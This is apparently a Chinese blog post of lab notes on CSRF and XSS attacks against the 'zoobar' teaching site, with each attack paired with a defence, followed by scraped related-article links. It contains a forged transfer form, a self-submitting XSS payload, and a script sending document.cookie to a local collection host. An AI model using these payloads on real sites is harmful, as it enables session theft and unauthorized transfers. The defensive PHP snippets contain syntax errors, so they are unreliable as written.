首先在user.php文件中去除黑名单的第一行标签,在白名单中添加<script>
E1:csrf攻击zoobar
csrf:cross-site request forgery    跨站伪造请求
普通用户登录myzoo网站后,在未退出的状态下,浏览了attack/csrf网站
该网站伪造了一份myzoo网站的表单,普通用户在不知情的状态下,自动被提交了一份恶意表单
由于http协议的无状态特性,在每一份请求的表单中会自动带上cookie
从而在myzoo网站看来一份合法的请求被提交
iframe限制了网站跳转,普通用户难以察觉

<iframe name=my_iframe width=70% height=40%></iframe>
<form method=POST name=transferform action="http://www.myzoo.com/transfer.php" target="my_iframe">
<p>Send <input name=zoobars type=text value="1" size=5> zoobars</p>
<p>to <input name=recipient type=text value="attack"></p>
<input type=submit name=submission value="Send">
</form>
 
E2:csrf防御攻击zoobar
方案1:
验证HTTP Referer字段,它记录了该HTTP请求的源地址
缺点:该字段可以被普通用户修改

方案2:【相对合理】
在请求中添加token并验证
在服务器端建立拦截器验证此token

基本思路:
1)启动session
<?php session_start; ?>
2)在session中产生一个随机数
$_session['csrf']=md5(uniqid(mt_rand(),true));
3)将生成的值放在表单中
<input type=hidden name=csrf value="<?php echo $_session['csrf']?>"/>
4)用户提交表单验证提交的token是否和session中保存的值一致

 if($zoobars > 0 && $sender_balance >= 0 && $recipient_exists &&
        $_post['submission'] && ($_post['csrf']==$_session['csrf']))
 
E3:xss攻击zoobar
xss:cross sitescript    跨站脚本攻击
通过js创建自提交表单

<script>
var f=document.createElement("form");
document.body.appendChild(f);
 
var a=document.createElement("input");
a.type="hidden";
a.type="text";
a.value="1";
a.name="zoobars";
f.appendChild(a);
 
var b=document.createElement("input");
b.type="hidden";
b.type="text";
b.name="recipient"
b.value="aa";
f.appendChild(b);
 
var c=document.createElement("input");
c.type="hidden";
c.name="submission";
c.value="Send";
f.appendChild(c);
 
f.method="POST";
f.name="transferform";
f.submit();
</script>

E4:xss防御攻击zoobar
同理csrf防御攻击zoobar

 
E5:xss攻击cookie
凡是可以执行js代码的地方就可能存在xss漏洞!

<script>
document.write("<img src=http://127.0.0.1:2002?cookie="+document.cookie+">");
</script>
E6:xss防御攻击cookie 
HttpOnly

setcookie($this->cookieName, $cookieData, time() + 31104000,NULL,NULL,NULL,TRUE);

突然又没有跑出应有的结果,下次再贴图

web安全:xss && csrf的更多相关文章

  1. web框架--XSS攻击和CSRF请求伪造

    XSS 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击者往Web ...

  2. web 安全 & web 攻防: XSS(跨站脚本攻击)和 CSRF(跨站请求伪造)

    web 安全 & web 攻防: XSS(跨站脚本攻击)和 CSRF(跨站请求伪造) XSS(跨站脚本攻击)和CSRF(跨站请求伪造) Cross-site Scripting (XSS) h ...

  3. web安全技术--XSS和CSRF

    Xss一般是脚本代码,主要是JS的,但是也有AS和VBS的. 主要分为反射型,存储型,DOM型三个大类. 一般来讲在手工测试的时候先要考虑的地方就是哪里有输入那里有输出. 然后是进行敏感字符测试,通常 ...

  4. Web安全XSS

    Web安全XSS 简单的反射型XSS钓鱼演示 </form> <script> function hack(){ XSSImage=new Image; XSSImage.sr ...

  5. 关于安全性问题:(XSS,csrf,cors,jsonp,同源策略)

    关于安全性问题:(XSS,csrf,cors,jsonp,同源策略) Ajax 是无需刷新页面就能从服务器获取数据的一种方法.它的核心对象是XHR,同源策略是ajax的一种约束,它为通信设置了相同的协 ...

  6. Web安全之CSRF攻击的防御措施

    Web安全之CSRF攻击的防御措施   CSRF是什么? Cross Site Request Forgery,中文是:跨站点请求伪造. CSRF攻击者在用户已经登录目标网站之后,诱使用户访问一个攻击 ...

  7. XSS/CSRF跨站攻击和防护方案

    Xss(Cross Site Scripting 跨站脚本攻击)/CSRF(Cross-site request forgery 跨站请求伪造),它与著名的SQL注入攻击类似,都是利用了Web页面的编 ...

  8. 深入理解OAuth2.0 XSS CSRF CORS 原理

    基于Token的WEB后台认证机制 http://www.cnblogs.com/xiekeli/p/5607107.html 深入理解OAuth2.0协议http://blog.csdn.net/s ...

  9. Web安全之CSRF(跨站请求伪造)

    CSRF(跨站请求伪造)概述 Cross-site request forgery 简称为"CSRF",在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺 ...

  10. DedeCMS Xss+Csrf Getshell \dede\file_manage_control.php

    目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 对这个漏洞的利用方式进行简单的概括 . 这个漏洞的利用前提是需要登录到后台进行操作 ...

随机推荐

  1. 【转】Android手机客户端关于二维码扫描的源码--不错

    原文网址:https://github.com/SkillCollege/QrCodeScan QrCodeScan 这是Android手机客户端关于二维码扫描的源码,使用了高效的ZBar解码库,并修 ...

  2. python队列join

    如果要让一个任务队列按照顺序进行,则必须使用join,代码如下: ''' Created on Dec 23, 2013 @author: long ''' import threading from ...

  3. SQL - 添加外键

    不解释: ---先创建外键的column ALTER TABLE tblLicenses ADD ProductID int not null; ---添加外键 ALTER TABLE tblLice ...

  4. BootStrap--Tables(表格) MVC中不刷新做增,删,改(C#)

    自带的Tables会有自动分页,搜索等一些动能,很方便,唯一的不足就是添加,修改,删除数据需要刷新页面,并不能静态. 下面说的是如何不刷新页面(Ajax)去执行增,删,改操作. 需要用到的样式,JS库 ...

  5. Lucene和jackson冲突

    今天在使用lucene的时候,想直接在Controller中返回json对象,于是在Spring中配置了JackSon的converter: <bean id="jacksonMess ...

  6. 窥探 Swift 之 函数与闭包的应用实例

    今天的博客算是比较基础的,还是那句话,基础这东西在什么时候 都是最重要的.说到函数,只要是写过程序就肯定知道函数是怎么回事,今天就来讨论一下Swift中的函数的特性以及Swift中的闭包.今天的一些小 ...

  7. Hibernate的fetch

    hibernate抓取策略fetch具体解释一.hibernate抓取策略(单端代理的批量抓取fetch=select(默认)/join)測试用例:Student student = (Student ...

  8. js中String对象

    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/ ...

  9. apache SetEnv 设置

    php的服务器预定义变量 $_SERVER 可以通过apache的mod_env模块来添加我们所需要的内容 来段官网介绍 Description: Modifies the environment w ...

  10. 常用PC服务器LSI阵列卡配置

    通常,我们使用的DELL/HP/IBM三家的机架式PC级服务器阵列卡是从LSI的卡OEM出来的,DELL和IBM两家的阵列卡原生程度较高,没有做太多封装,可以用原厂提供的阵列卡管理工具进行监控:而HP ...